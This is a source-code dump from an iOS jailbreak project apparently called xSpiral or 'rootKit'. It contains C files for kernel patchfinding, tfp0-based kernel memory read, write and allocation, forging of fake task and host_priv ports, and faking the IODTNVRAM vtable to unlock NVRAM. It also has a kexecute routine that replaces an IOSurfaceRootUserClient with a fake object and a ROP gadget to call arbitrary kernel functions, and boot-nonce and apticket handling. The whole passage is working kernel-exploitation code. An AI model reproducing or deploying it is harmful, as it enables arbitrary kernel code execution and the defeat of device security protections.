539 | if (!val) {
540 | printf("Failed to calculate x8");
541 | return 0;
542 | }
543 |
544 | return val + kerndumpbase;
545 | }
546 |
547 | uint64_t find_copyout(void) {
548 | // Find the first reference to the string
549 | addr_t ref = find_strref("\"%s(%p, %p, %lu) - transfer too large\"", 2, 0);
550 | if (!ref) {
551 | return 0;
552 | }
553 | ref -= kerndumpbase;
554 |
555 | uint64_t start = 0;
556 | for (int i = 4; i < 0x100*4; i+=4) {
557 | uint32_t op = *(uint32_t*)(kernel+ref-i);
558 | if (op == 0xd10143ff) { // SUB SP, SP, #0x50
559 | start = ref-i;
560 | break;
561 | }
562 | }
563 | if (!start) {
564 | return 0;
565 | }
566 |
567 | return start + kerndumpbase;
568 | }
569 |
570 | uint64_t find_bzero(void) {
571 | // Just find SYS #3, c7, c4, #1, X3, then get the start of that function
572 | addr_t off;
573 | uint32_t *k;
574 | k = (uint32_t *)(kernel + xnucore_base);
575 | for (off = 0; off < xnucore_size - 4; off += 4, k++) {
576 | if (k[0] == 0xd50b7423) {
577 | off += xnucore_base;
578 | break;
579 | }
580 | }
581 |
582 | uint64_t start = bof64(kernel, xnucore_base, off);
583 | if (!start) {
584 | return 0;
585 | }
586 |
587 | return start + kerndumpbase;
588 | }
589 |
590 | addr_t find_bcopy(void) {
591 | // Jumps straight into memmove after switching x0 and x1 around
592 | // Guess we just find the switch and that's it
593 | addr_t off;
594 | uint32_t *k;
595 | k = (uint32_t *)(kernel + xnucore_base);
596 | for (off = 0; off < xnucore_size - 4; off += 4, k++) {
597 | if (k[0] == 0xAA0003E3 && k[1] == 0xAA0103E0 && k[2] == 0xAA0303E1 && k[3] == 0xd503201F) {
598 | return off + xnucore_base + kerndumpbase;
599 | }
600 | }
601 | k = (uint32_t *)(kernel + prelink_base);
602 | for (off = 0; off < prelink_size - 4; off += 4, k++) {
603 | if (k[0] == 0xAA0003E3 && k[1] == 0xAA0103E0 && k[2] == 0xAA0303E1 && k[3] == 0xd503201F) {
604 | return off + prelink_base + kerndumpbase;
605 | }
606 | }
607 | return 0;
608 | }
609 |
610 |
--------------------------------------------------------------------------------
/xSpiral/RootUnit/patchfinder64.h:
--------------------------------------------------------------------------------
1 | #ifndef PATCHFINDER64_H_
2 | #define PATCHFINDER64_H_
3 |
4 | int init_kernel(uint64_t base, const char *filename);
5 | void term_kernel(void);
6 |
7 | // Fun part
8 | uint64_t find_allproc(void);
9 | uint64_t find_add_x0_x0_0x40_ret(void);
10 | uint64_t find_copyout(void);
11 | uint64_t find_bzero(void);
12 | uint64_t find_bcopy(void);
13 |
14 | #endif
15 |
--------------------------------------------------------------------------------
/xSpiral/RootUnit/unlocknvram.c:
--------------------------------------------------------------------------------
1 | // iOS 11 moves OFVariables to const
2 | // https://twitter.com/s1guza/status/908790514178301952
3 | // however, if we:
4 | // 1) Can find IODTNVRAM service
5 | // 2) Have tfp0 / kernel read|write|alloc
6 | // 3) Can leak kernel address of mach port
7 | // then we can fake vtable on IODTNVRAM object
8 | // async_wake satisfies those requirements
9 | // however, I wasn't able to actually set or get ANY nvram variable
10 | // not even userread/userwrite
11 | // Guess sandboxing won't let to access nvram
12 |
13 | #include
14 | #include
15 | #include "kmem.h"
16 | #include "offsets.h"
17 | #include "kutils.h"
18 | #include "exploit_additions.h"
19 |
20 | // convertPropToObject calls getOFVariableType
21 | // open convertPropToObject, look for first vtable call -- that'd be getOFVariableType
22 | // find xrefs, figure out vtable start from that
23 | // following are offsets of entries in vtable
24 |
25 | // it always returns false
26 | const uint64_t searchNVRAMProperty = 0x590;
27 | // 0 corresponds to root only
28 | const uint64_t getOFVariablePerm = 0x558;
29 |
30 | typedef mach_port_t io_service_t;
31 | typedef mach_port_t io_connect_t;
32 | extern const mach_port_t kIOMasterPortDefault;
33 | CFMutableDictionaryRef IOServiceMatching(const char *name) CF_RETURNS_RETAINED;
34 | io_service_t IOServiceGetMatchingService(mach_port_t masterPort, CFDictionaryRef matching CF_RELEASES_ARGUMENT);
35 |
36 | // get kernel address of IODTNVRAM object
37 | uint64_t get_iodtnvram_obj(void) {
38 | // get user serv
39 | io_service_t IODTNVRAMSrv = IOServiceGetMatchingService(kIOMasterPortDefault, IOServiceMatching("IODTNVRAM"));
40 |
41 | // leak user serv
42 | // it should use via_kmem_read method by now, so second param doesn't matter
43 | uint64_t nvram_up = find_port(IODTNVRAMSrv);
44 | // get kern obj -- IODTNVRAM*
45 | uint64_t IODTNVRAMObj = rk64(nvram_up + koffset(KSTRUCT_OFFSET_IPC_PORT_IP_KOBJECT));
46 |
47 | return IODTNVRAMObj;
48 | }
49 |
50 | uint64_t orig_vtable = -1;
51 |
52 | void unlocknvram(void) {
53 | uint64_t obj = get_iodtnvram_obj();
54 | uint64_t vtable_start = rk64(obj);
55 |
56 | orig_vtable = vtable_start;
57 |
58 | uint64_t vtable_end = vtable_start;
59 | // Is vtable really guaranteed to end with 0 or was it just a coincidence?..
60 | // should we just use some max value instead?
61 | while (rk64(vtable_end) != 0) vtable_end += sizeof(uint64_t);
62 |
63 | uint32_t vtable_len = (uint32_t) (vtable_end - vtable_start);
64 |
65 | // copy vtable to userspace
66 | uint64_t *buf = calloc(1, vtable_len);
67 | kread(vtable_start, buf, vtable_len);
68 |
69 | // alter it
70 | buf[getOFVariablePerm/sizeof(uint64_t)] = buf[searchNVRAMProperty/sizeof(uint64_t)];
71 |
72 | // allocate buffer in kernel and copy it back
73 | uint64_t fake_vtable = kalloc_wired(vtable_len);
74 | kwrite(fake_vtable, buf, vtable_len);
75 |
76 | // replace vtable on IODTNVRAM object
77 | wk64(obj, fake_vtable);
78 |
79 | free(buf);
80 | }
81 |
82 | void locknvram(void) {
83 | if (orig_vtable == -1) {
84 | return;
85 | }
86 |
87 | uint64_t obj = get_iodtnvram_obj();
88 | if (obj == 0) { // would never happen but meh
89 | return;
90 | }
91 |
92 | wk64(obj, orig_vtable);
93 | }
94 |
--------------------------------------------------------------------------------
/xSpiral/RootUnit/unlocknvram.h:
--------------------------------------------------------------------------------
1 | void unlocknvram(void);
2 | void locknvram(void);
3 |
--------------------------------------------------------------------------------
/xSpiral/RootUnit/utilities/exploit_additions.c:
--------------------------------------------------------------------------------
1 | #include "exploit_additions.h"
2 | #include "kmem.h"
3 | #include "offsets.h"
4 | #include "offsetof.h"
5 | #include "kernel_memory.h"
6 |
7 | void prepare_prealloc_port(mach_port_t port) {
8 | mach_port_insert_right(mach_task_self(), port, port, MACH_MSG_TYPE_MAKE_SEND);
9 | }
10 |
11 | int port_has_message(mach_port_t port) {
12 | kern_return_t err;
13 | mach_port_seqno_t msg_seqno = 0;
14 | mach_msg_size_t msg_size = 0;
15 | mach_msg_id_t msg_id = 0;
16 | mach_msg_trailer_t msg_trailer; // NULL trailer
17 | mach_msg_type_number_t msg_trailer_size = sizeof(msg_trailer);
18 | err = mach_port_peek(mach_task_self(),
19 | port,
20 | MACH_RCV_TRAILER_NULL,
21 | &msg_seqno,
22 | &msg_size,
23 | &msg_id,
24 | (mach_msg_trailer_info_t)&msg_trailer,
25 | &msg_trailer_size);
26 |
27 | return (err == KERN_SUCCESS);
28 | }
29 |
30 | /*
31 | * Purpose: iterates over the procs and finds a proc with given pid
32 | */
33 | uint64_t multi_path_get_proc_with_pid(pid_t target_pid, int spawned) {
34 |
35 | extern uint64_t task_port_kaddr;
36 | uint64_t struct_task = rk64(task_port_kaddr + koffset(KSTRUCT_OFFSET_IPC_PORT_IP_KOBJECT));
37 |
38 | printf("our pid: %x\n", target_pid);
39 |
40 | while (struct_task != 0) {
41 | uint64_t bsd_info = rk64(struct_task + koffset(KSTRUCT_OFFSET_TASK_BSD_INFO));
42 |
43 | // get the process pid
44 | uint32_t pid = rk32(bsd_info + koffset(KSTRUCT_OFFSET_PROC_PID));
45 |
46 | printf("pid: %x\n", pid);
47 |
48 | if(pid == target_pid) {
49 | return bsd_info;
50 | }
51 |
52 | if(spawned) // spawned binaries will exist AFTER our task
53 | struct_task = rk64(struct_task + koffset(KSTRUCT_OFFSET_TASK_NEXT));
54 | else
55 | struct_task = rk64(struct_task + koffset(KSTRUCT_OFFSET_TASK_PREV));
56 |
57 | }
58 | return -1; // we failed :/
59 | }
60 |
61 | uint64_t our_task_addr(){
62 | return current_task;
63 | }
64 |
65 | uint64_t find_port(mach_port_name_t port){
66 | uint64_t portptr;
67 | kernel_ipc_port_lookup(current_task, port, &portptr, NULL);
68 |
69 | return portptr;
70 | }
71 |
72 | uint64_t task_self_addr(void);
73 | uint64_t ipc_space_kernel(void);
74 |
75 | void convert_port_to_task_port(mach_port_t port, uint64_t space, uint64_t task_kaddr) {
76 | // now make the changes to the port object to make it a task port:
77 | uint64_t port_kaddr = find_port(port);
78 |
79 | wk32(port_kaddr + koffset(KSTRUCT_OFFSET_IPC_PORT_IO_BITS), IO_BITS_ACTIVE | IKOT_TASK);
80 | wk32(port_kaddr + koffset(KSTRUCT_OFFSET_IPC_PORT_IO_REFERENCES), 0xf00d);
81 | wk32(port_kaddr + koffset(KSTRUCT_OFFSET_IPC_PORT_IP_SRIGHTS), 0xf00d);
82 | wk64(port_kaddr + koffset(KSTRUCT_OFFSET_IPC_PORT_IP_RECEIVER), space);
83 | wk64(port_kaddr + koffset(KSTRUCT_OFFSET_IPC_PORT_IP_KOBJECT), task_kaddr);
84 |
85 | // swap our receive right for a send right:
86 | uint64_t task_port_addr = task_self_addr();
87 | uint64_t task_addr = rk64(task_port_addr + koffset(KSTRUCT_OFFSET_IPC_PORT_IP_KOBJECT));
88 | uint64_t itk_space = rk64(task_addr + koffset(KSTRUCT_OFFSET_TASK_ITK_SPACE));
89 | uint64_t is_table = rk64(itk_space + koffset(KSTRUCT_OFFSET_IPC_SPACE_IS_TABLE));
90 |
91 | uint32_t port_index = port >> 8;
92 | const int sizeof_ipc_entry_t = 0x18;
93 | uint32_t bits = rk32(is_table + (port_index * sizeof_ipc_entry_t) + 8); // 8 = offset of ie_bits in struct ipc_entry
94 |
95 | #define IE_BITS_SEND (1<<16)
96 | #define IE_BITS_RECEIVE (1<<17)
97 |
98 | bits &= (~IE_BITS_RECEIVE);
99 | bits |= IE_BITS_SEND;
100 |
101 | wk32(is_table + (port_index * sizeof_ipc_entry_t) + 8, bits);
102 | }
103 |
104 |
105 | void make_port_fake_task_port(mach_port_t port, uint64_t task_kaddr) {
106 | convert_port_to_task_port(port, ipc_space_kernel(), task_kaddr);
107 | }
108 |
--------------------------------------------------------------------------------
/xSpiral/RootUnit/utilities/exploit_additions.h:
--------------------------------------------------------------------------------
1 | #ifndef exploit_additions_h
2 | #define exploit_additions_h
3 |
4 | #include
5 | #include
6 | #include
7 |
8 | #include
9 |
10 | int message_size_for_kalloc_size(int kalloc_size);
11 | uint64_t find_port(mach_port_name_t port);
12 |
13 | #endif /* exploit_additions_h */
14 |
--------------------------------------------------------------------------------
/xSpiral/RootUnit/utilities/kexecute.c:
--------------------------------------------------------------------------------
1 | #include
2 | #include "kmem.h"
3 | #include "kexecute.h"
4 | #include "kutils.h"
5 | #include "exploit_additions.h"
6 | #include "patchfinder64.h"
7 | #include "offsetof.h"
8 |
9 | mach_port_t prepare_user_client(void) {
10 | kern_return_t err;
11 | mach_port_t user_client;
12 | io_service_t service = IOServiceGetMatchingService(kIOMasterPortDefault, IOServiceMatching("IOSurfaceRoot"));
13 |
14 | if (service == IO_OBJECT_NULL){
15 | printf(" [-] unable to find service\n");
16 | exit(EXIT_FAILURE);
17 | }
18 |
19 | err = IOServiceOpen(service, mach_task_self(), 0, &user_client);
20 | if (err != KERN_SUCCESS){
21 | printf(" [-] unable to get user client connection\n");
22 | exit(EXIT_FAILURE);
23 | }
24 |
25 |
26 | printf("got user client: 0x%x\n", user_client);
27 | return user_client;
28 | }
29 |
30 | // TODO: Consider removing this - jailbreakd runs all kernel ops on the main thread
31 | pthread_mutex_t kexecute_lock;
32 | static mach_port_t user_client;
33 | static uint64_t IOSurfaceRootUserClient_port;
34 | static uint64_t IOSurfaceRootUserClient_addr;
35 | static uint64_t fake_vtable;
36 | static uint64_t fake_client;
37 | const int fake_kalloc_size = 0x1000;
38 |
39 | void init_kexecute(void) {
40 | user_client = prepare_user_client();
41 |
42 | // From v0rtex - get the IOSurfaceRootUserClient port, and then the address of the actual client, and vtable
43 | IOSurfaceRootUserClient_port = find_port(user_client);
44 | printf("Found port: 0x%llx\n", IOSurfaceRootUserClient_port);
45 |
46 | IOSurfaceRootUserClient_addr = rk64(IOSurfaceRootUserClient_port + offsetof_ip_kobject); // The UserClient itself (the C++ object) is at the kobject field
47 | printf("Found addr: 0x%llx\n", IOSurfaceRootUserClient_addr);
48 |
49 | uint64_t IOSurfaceRootUserClient_vtab = rk64(IOSurfaceRootUserClient_addr); // vtables in C++ are at *object
50 | printf("Found vtab: 0x%llx\n", IOSurfaceRootUserClient_vtab);
51 |
52 | // The aim is to create a fake client, with a fake vtable, and overwrite the existing client with the fake one
53 | // Once we do that, we can use IOConnectTrap6 to call functions in the kernel as the kernel
54 |
55 |
56 | // Create the vtable in the kernel memory, then copy the existing vtable into there
57 | fake_vtable = kalloc(fake_kalloc_size);
58 | printf("Created fake_vtable at %016llx\n", fake_vtable);
59 |
60 | for (int i = 0; i < 0x200; i++) {
61 | wk64(fake_vtable+i*8, rk64(IOSurfaceRootUserClient_vtab+i*8));
62 | }
63 |
64 | printf("Copied some of the vtable over\n");
65 |
66 | // Create the fake user client
67 | fake_client = kalloc(fake_kalloc_size);
68 | printf("Created fake_client at %016llx\n", fake_client);
69 |
70 | for (int i = 0; i < 0x200; i++) {
71 | wk64(fake_client+i*8, rk64(IOSurfaceRootUserClient_addr+i*8));
72 | }
73 |
74 | printf("Copied the user client over\n");
75 |
76 | // Write our fake vtable into the fake user client
77 | wk64(fake_client, fake_vtable);
78 |
79 | // Replace the user client with ours
80 | wk64(IOSurfaceRootUserClient_port + offsetof_ip_kobject, fake_client);
81 |
82 | // Now the userclient port we have will look into our fake user client rather than the old one
83 |
84 | // Replace IOUserClient::getExternalTrapForIndex with our ROP gadget (add x0, x0, #0x40; ret;)
85 | wk64(fake_vtable+8*0xB7, find_add_x0_x0_0x40_ret());
86 |
87 | printf("Wrote the `add x0, x0, #0x40; ret;` gadget over getExternalTrapForIndex");
88 |
89 | pthread_mutex_init(&kexecute_lock, NULL);
90 | }
91 |
92 | void term_kexecute(void) {
93 | wk64(IOSurfaceRootUserClient_port + offsetof_ip_kobject, IOSurfaceRootUserClient_addr);
94 | kfree(fake_vtable, fake_kalloc_size);
95 | kfree(fake_client, fake_kalloc_size);
96 | }
97 |
98 | uint64_t kexecute(uint64_t addr, uint64_t x0, uint64_t x1, uint64_t x2, uint64_t x3, uint64_t x4, uint64_t x5, uint64_t x6) {
99 | pthread_mutex_lock(&kexecute_lock);
100 |
101 | // When calling IOConnectTrapX, this makes a call to iokit_user_client_trap, which is the user->kernel call (MIG). This then calls IOUserClient::getTargetAndTrapForIndex
102 | // to get the trap struct (which contains an object and the function pointer itself). This function calls IOUserClient::getExternalTrapForIndex, which is expected to return a trap.
103 | // This jumps to our gadget, which returns +0x40 into our fake user_client, which we can modify. The function is then called on the object. But how C++ actually works is that the
104 | // function is called with the first arguement being the object (referenced as `this`). Because of that, the first argument of any function we call is the object, and everything else is passed
105 | // through like normal.
106 |
107 | // Because the gadget gets the trap at user_client+0x40, we have to overwrite the contents of it
108 | // We will pull a switch when doing so - retrieve the current contents, call the trap, put back the contents
109 | // (i'm not actually sure if the switch back is necessary but meh)
110 |
111 | uint64_t offx20 = rk64(fake_client+0x40);
112 | uint64_t offx28 = rk64(fake_client+0x48);
113 | wk64(fake_client+0x40, x0);
114 | wk64(fake_client+0x48, addr);
115 | uint64_t returnval = IOConnectTrap6(user_client, 0, (uint64_t)(x1), (uint64_t)(x2), (uint64_t)(x3), (uint64_t)(x4), (uint64_t)(x5), (uint64_t)(x6));
116 | wk64(fake_client+0x40, offx20);
117 | wk64(fake_client+0x48, offx28);
118 |
119 | pthread_mutex_unlock(&kexecute_lock);
120 |
121 | return returnval;
122 | }
123 |
--------------------------------------------------------------------------------
/xSpiral/RootUnit/utilities/kexecute.h:
--------------------------------------------------------------------------------
1 | #include
2 | #include
3 |
4 | uint64_t kexecute(uint64_t addr, uint64_t x0, uint64_t x1, uint64_t x2, uint64_t x3, uint64_t x4, uint64_t x5, uint64_t x6);
5 | void init_kexecute(void);
6 | void term_kexecute(void);
7 |
--------------------------------------------------------------------------------
/xSpiral/RootUnit/utilities/kutils.c:
--------------------------------------------------------------------------------
1 | #include
2 | #include
3 |
4 | #include
5 | #include "kutils.h"
6 | #include "kmem.h"
7 | #include "offsets.h"
8 | #include "patchfinder64.h"
9 | #include "exploit_additions.h"
10 | #include "offsetof.h"
11 | #include "kernel_slide.h"
12 |
13 | extern mach_port_t tfpzero;
14 |
15 | uint64_t cached_task_self_addr = 0;
16 | uint64_t task_self_addr() {
17 | if (cached_task_self_addr == 0) {
18 | cached_task_self_addr = find_port(mach_task_self());
19 | printf("task self: 0x%llx\n", cached_task_self_addr);
20 | }
21 | return cached_task_self_addr;
22 | }
23 |
24 | uint64_t ipc_space_kernel() {
25 | return rk64(task_self_addr() + koffset(KSTRUCT_OFFSET_IPC_PORT_IP_RECEIVER));
26 | }
27 |
28 | uint64_t get_kaslr_slide() {
29 | if (!kernel_slide_init())
30 | return 0;
31 | return kernel_slide;
32 | }
33 |
34 | mach_port_t fake_host_priv_port = MACH_PORT_NULL;
35 |
36 | // build a fake host priv port
37 | mach_port_t fake_host_priv() {
38 | if (fake_host_priv_port != MACH_PORT_NULL) {
39 | return fake_host_priv_port;
40 | }
41 | // get the address of realhost:
42 | uint64_t hostport_addr = find_port(mach_host_self());
43 | uint64_t realhost = rk64(hostport_addr + koffset(KSTRUCT_OFFSET_IPC_PORT_IP_KOBJECT));
44 |
45 | // allocate a port
46 | mach_port_t port = MACH_PORT_NULL;
47 | kern_return_t err;
48 | err = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &port);
49 | if (err != KERN_SUCCESS) {
50 | printf("failed to allocate port\n");
51 | return MACH_PORT_NULL;
52 | }
53 |
54 | // get a send right
55 | mach_port_insert_right(mach_task_self(), port, port, MACH_MSG_TYPE_MAKE_SEND);
56 |
57 | // locate the port
58 | uint64_t port_addr = find_port(port);
59 |
60 | // change the type of the port
61 | #define IKOT_HOST_PRIV 4
62 | #define IO_ACTIVE 0x80000000
63 | wk32(port_addr + koffset(KSTRUCT_OFFSET_IPC_PORT_IO_BITS), IO_ACTIVE|IKOT_HOST_PRIV);
64 |
65 | // change the space of the port
66 | wk64(port_addr + koffset(KSTRUCT_OFFSET_IPC_PORT_IP_RECEIVER), ipc_space_kernel());
67 |
68 | // set the kobject
69 | wk64(port_addr + koffset(KSTRUCT_OFFSET_IPC_PORT_IP_KOBJECT), realhost);
70 |
71 | fake_host_priv_port = port;
72 |
73 | return port;
74 | }
75 |
76 | size_t kread(uint64_t where, void *p, size_t size) {
77 | int rv;
78 | size_t offset = 0;
79 | while (offset < size) {
80 | mach_vm_size_t sz, chunk = 2048;
81 | if (chunk > size - offset) {
82 | chunk = size - offset;
83 | }
84 | rv = mach_vm_read_overwrite(tfpzero, where + offset, chunk, (mach_vm_address_t)p + offset, &sz);
85 | if (rv || sz == 0) {
86 | fprintf(stderr, "[e] error reading kernel @%p\n", (void *)(offset + where));
87 | break;
88 | }
89 | offset += sz;
90 | }
91 | return offset;
92 | }
93 |
94 | size_t kwrite(uint64_t where, const void *p, size_t size) {
95 | int rv;
96 | size_t offset = 0;
97 | while (offset < size) {
98 | size_t chunk = 2048;
99 | if (chunk > size - offset) {
100 | chunk = size - offset;
101 | }
102 | rv = mach_vm_write(tfpzero, where + offset, (mach_vm_offset_t)p + offset, (mach_msg_type_number_t)chunk);
103 | if (rv) {
104 | fprintf(stderr, "[e] error writing kernel @%p\n", (void *)(offset + where));
105 | break;
106 | }
107 | offset += chunk;
108 | }
109 | return offset;
110 | }
111 |
112 | uint64_t kalloc(vm_size_t size) {
113 | mach_vm_address_t address = 0;
114 | mach_vm_allocate(tfpzero, (mach_vm_address_t *)&address, size, VM_FLAGS_ANYWHERE);
115 | return address;
116 | }
117 |
118 | uint64_t kalloc_wired(uint64_t size) {
119 | kern_return_t err;
120 | mach_vm_address_t addr = 0;
121 | mach_vm_size_t ksize = round_page_kernel(size);
122 |
123 | printf("vm_kernel_page_size: %lx\n", vm_kernel_page_size);
124 |
125 | err = mach_vm_allocate(tfpzero, &addr, ksize+0x4000, VM_FLAGS_ANYWHERE);
126 | if (err != KERN_SUCCESS) {
127 | printf("unable to allocate kernel memory via tfp0: %s %x\n", mach_error_string(err), err);
128 | sleep(3);
129 | return 0;
130 | }
131 |
132 | printf("allocated address: %llx\n", addr);
133 |
134 | addr += 0x3fff;
135 | addr &= ~0x3fffull;
136 |
137 | printf("address to wire: %llx\n", addr);
138 |
139 | err = mach_vm_wire(fake_host_priv(), tfpzero, addr, ksize, VM_PROT_READ|VM_PROT_WRITE);
140 | if (err != KERN_SUCCESS) {
141 | printf("unable to wire kernel memory via tfp0: %s %x\n", mach_error_string(err), err);
142 | sleep(3);
143 | return 0;
144 | }
145 | return addr;
146 | }
147 |
148 | void kfree(mach_vm_address_t address, vm_size_t size){
149 | mach_vm_deallocate(tfpzero, address, size);
150 | }
151 |
152 | uint32_t find_pid_of_proc(const char *proc_name) {
153 | uint64_t proc = rk64(find_allproc());
154 | while (proc) {
155 | uint32_t pid = (uint32_t)rk32(proc + offsetof_p_pid);
156 | char name[40] = {0};
157 | kread(proc+0x268, name, 20);
158 | if (strstr(name, proc_name)){
159 | return pid;
160 | }
161 | proc = rk64(proc);
162 | }
163 | return 0;
164 | }
165 |
166 | uint64_t get_proc_struct_for_pid(pid_t proc_pid) {
167 | uint64_t proc = rk64(find_allproc());
168 | while (proc) {
169 | uint32_t pid = (uint32_t)rk32(proc + offsetof_p_pid);
170 | if (pid == proc_pid){
171 | return proc;
172 | }
173 | proc = rk64(proc);
174 | }
175 | return 0;
176 | }
177 |
--------------------------------------------------------------------------------
/xSpiral/RootUnit/utilities/kutils.h:
--------------------------------------------------------------------------------
1 | #ifndef kutils_h
2 | #define kutils_h
3 |
4 | #include
5 | #include "IOKit.h"
6 |
7 | uint64_t task_self_addr(void);
8 | uint64_t ipc_space_kernel(void);
9 | uint64_t get_kaslr_slide(void);
10 |
11 | mach_port_t fake_host_priv(void);
12 |
13 | size_t kread(uint64_t where, void *p, size_t size);
14 | size_t kwrite(uint64_t where, const void *p, size_t size);
15 | uint64_t kalloc(vm_size_t size);
16 | uint64_t kalloc_wired(uint64_t size);
17 | void kfree(mach_vm_address_t address, vm_size_t size);
18 |
19 | uint32_t find_pid_of_proc(const char *proc_name);
20 | uint64_t get_proc_struct_for_pid(pid_t proc_pid);
21 |
22 | #endif /* kutils_h */
23 |
--------------------------------------------------------------------------------
/xSpiral/RootUnit/utilities/nonce.c:
--------------------------------------------------------------------------------
1 | #include "nonce.h"
2 | #include
3 | #include
4 | #include
5 | #include
6 | #include
7 | #include
8 | #include "IOKit.h"
9 | #include
10 |
11 | #define kIONVRAMDeletePropertyKey "IONVRAM-DELETE-PROPERTY"
12 | #define kIONVRAMForceSyncNowPropertyKey "IONVRAM-FORCESYNCNOW-PROPERTY"
13 |
14 | #define nonceKey "com.apple.System.boot-nonce"
15 |
16 | // thx PhoenixNonce
17 |
18 | CFMutableDictionaryRef makedict(const char *key, const char *val) {
19 | CFStringRef cfkey = CFStringCreateWithCStringNoCopy(NULL, key, kCFStringEncodingUTF8, kCFAllocatorNull);
20 | CFStringRef cfval = CFStringCreateWithCStringNoCopy(NULL, val, kCFStringEncodingUTF8, kCFAllocatorNull);
21 |
22 | CFMutableDictionaryRef dict = CFDictionaryCreateMutable(NULL, 0, &kCFCopyStringDictionaryKeyCallBacks, &kCFTypeDictionaryValueCallBacks);
23 | if(!cfkey || !dict || !cfval) {
24 | ERROR("failed to alloc cf objects {'%s': '%s'}", key, val);
25 | return NULL;
26 | } else {
27 | DEBUG("made dict {'%s': '%s'}", key, val);
28 | }
29 | CFDictionarySetValue(dict, cfkey, cfval);
30 |
31 | CFRelease(cfkey);
32 | CFRelease(cfval);
33 | return dict;
34 | }
35 |
36 | int applydict(CFMutableDictionaryRef dict) {
37 | int ret = 1;
38 |
39 | io_service_t nvram = IOServiceGetMatchingService(kIOMasterPortDefault, IOServiceMatching("IODTNVRAM"));
40 | if(!MACH_PORT_VALID(nvram)) {
41 | ERROR("Failed to get IODTNVRAM service");
42 | } else {
43 | kern_return_t kret = IORegistryEntrySetCFProperties(nvram, dict);
44 | DEBUG("IORegistryEntrySetCFProperties: 0x%x (%s)\n", kret, mach_error_string(kret));
45 | if(kret == KERN_SUCCESS) {
46 | ret = 0;
47 | }
48 | }
49 |
50 | return ret;
51 | }
52 |
53 | char* getval(const char *key) {
54 | // IORegistryEntryCreateCFProperty seems to fail, btw
55 |
56 | char buf[1024];
57 | unsigned int length = sizeof(buf);
58 | kern_return_t err;
59 |
60 | io_service_t nvram = IOServiceGetMatchingService(kIOMasterPortDefault, IOServiceMatching("IODTNVRAM"));
61 | if(!MACH_PORT_VALID(nvram)) {
62 | ERROR("Failed to get IODTNVRAM service");
63 | return NULL;
64 | }
65 |
66 | err = IORegistryEntryGetProperty(nvram, key, (void*)buf, &length);
67 | DEBUG("IORegistryEntryGetProperty(%s) == 0x%x (%s)\n", key, err, mach_error_string(err));
68 | if (err != KERN_SUCCESS) {
69 | return NULL;
70 | }
71 |
72 | buf[length] = '\0';
73 | return strdup(buf);
74 | }
75 |
76 | int makenapply(const char *key, const char *val) {
77 | int ret = 1;
78 |
79 | CFMutableDictionaryRef dict = makedict(key, val);
80 | if(!dict) {
81 | ERROR("failed to make cf dict\n");
82 | return ret;
83 | }
84 |
85 | ret = applydict(dict);
86 |
87 | if (ret) {
88 | ERROR("applydict failed\n");
89 | }
90 |
91 | CFRelease(dict);
92 | return ret;
93 | }
94 |
95 | int setgen(const char *gen) {
96 | int ret = 0;
97 |
98 | ret = makenapply(kIONVRAMDeletePropertyKey, nonceKey);
99 |
100 | // set even if delete failed
101 | ret = makenapply(nonceKey, gen);
102 | ret = ret || makenapply(kIONVRAMForceSyncNowPropertyKey, nonceKey);
103 |
104 | return ret;
105 | }
106 |
107 | char* getgen(void) {
108 | return getval(nonceKey);
109 | }
110 |
111 | int delgen(void) {
112 | return makenapply(kIONVRAMDeletePropertyKey, nonceKey);
113 | }
114 |
115 | bool dump_apticket(const char *to) {
116 | bool ret = false;
117 | const char *from = "/System/Library/Caches/apticket.der";
118 | struct stat s;
119 | if(stat(from, &s) != 0)
120 | {
121 | ERROR("stat failed: %s", strerror(errno));
122 | }
123 | else
124 | {
125 | FILE *in = fopen(from, "rb");
126 | if(in == NULL)
127 | {
128 | ERROR("failed to open src: %s", strerror(errno));
129 | }
130 | else
131 | {
132 | FILE *out = fopen(to, "wb");
133 | if(out == NULL)
134 | {
135 | ERROR("failed to open dst: %s", strerror(errno));
136 | }
137 | else
138 | {
139 | char *buf = malloc(s.st_size);
140 | if(buf == NULL)
141 | {
142 | ERROR("failed to alloc buf: %s", strerror(errno));
143 | }
144 | else
145 | {
146 | fread(buf, s.st_size, 1, in);
147 | fwrite(buf, s.st_size, 1, out);
148 | free(buf);
149 | ret = true;
150 | }
151 | fclose(out);
152 | }
153 | fclose(in);
154 | }
155 | }
156 | return ret;
157 | }
158 |
159 |
--------------------------------------------------------------------------------
/xSpiral/RootUnit/utilities/nonce.h:
--------------------------------------------------------------------------------
1 | #pragma once
2 |
3 | #define RAWLOG(fmt, args...) fprintf(stderr, fmt, ##args);
4 | #define INFO(fmt, args...) RAWLOG("[INF] " fmt, ##args);
5 | #undef DEBUG
6 | #define DEBUG(fmt, args...) RAWLOG("[DBG] " fmt, ##args);
7 | #define ERROR(fmt, args...) RAWLOG("[ERR] " fmt, ##args);
8 |
9 | #include
10 |
11 | int setgen(const char*);
12 | char* getgen(void);
13 | int delgen(void);
14 | bool dump_apticket(const char *to);
15 |
16 |
--------------------------------------------------------------------------------
/xSpiral/RootUnit/utilities/offsetof.c:
--------------------------------------------------------------------------------
1 | unsigned offsetof_p_pid = 0x60; // proc_t::p_pid
2 | unsigned offsetof_task = 0x18; // proc_t::task
3 | unsigned offsetof_itk_space = 0x300; // task_t::itk_space
4 | unsigned offsetof_ip_kobject = 104; // ipc_port_t::ip_kobject
5 | unsigned offsetof_ipc_space_is_table = 0x20; // ipc_space::is_table?..
6 |
--------------------------------------------------------------------------------
/xSpiral/RootUnit/utilities/offsetof.h:
--------------------------------------------------------------------------------
1 | extern unsigned offsetof_p_pid;
2 | extern unsigned offsetof_task;
3 | extern unsigned offsetof_itk_space;
4 | extern unsigned offsetof_ip_kobject;
5 | extern unsigned offsetof_ipc_space_is_table;
6 |
7 |
--------------------------------------------------------------------------------
/xSpiral/XcodeGEN/AppDelegate.h:
--------------------------------------------------------------------------------
1 | //
2 | // AppDelegate.h
3 | // rootKit
4 | //
5 | // Created by Lakr Sakura on 2019/1/31.
6 | // Copyright © 2019 Lakr Sakura. All rights reserved.
7 | //
8 |
9 | #import
10 |
11 | @interface AppDelegate : UIResponder
12 |
13 | @property (strong, nonatomic) UIWindow *window;
14 |
15 |
16 | @end
17 |
18 |
--------------------------------------------------------------------------------
/xSpiral/XcodeGEN/AppDelegate.m:
--------------------------------------------------------------------------------
1 | //
2 | // AppDelegate.m
3 | // rootKit
4 | //
5 | // Created by Lakr Sakura on 2019/1/31.
6 | // Copyright © 2019 Lakr Sakura. All rights reserved.
7 | //
8 |
9 | #import "AppDelegate.h"
10 |
11 | @interface AppDelegate ()
12 |
13 | @end
14 |
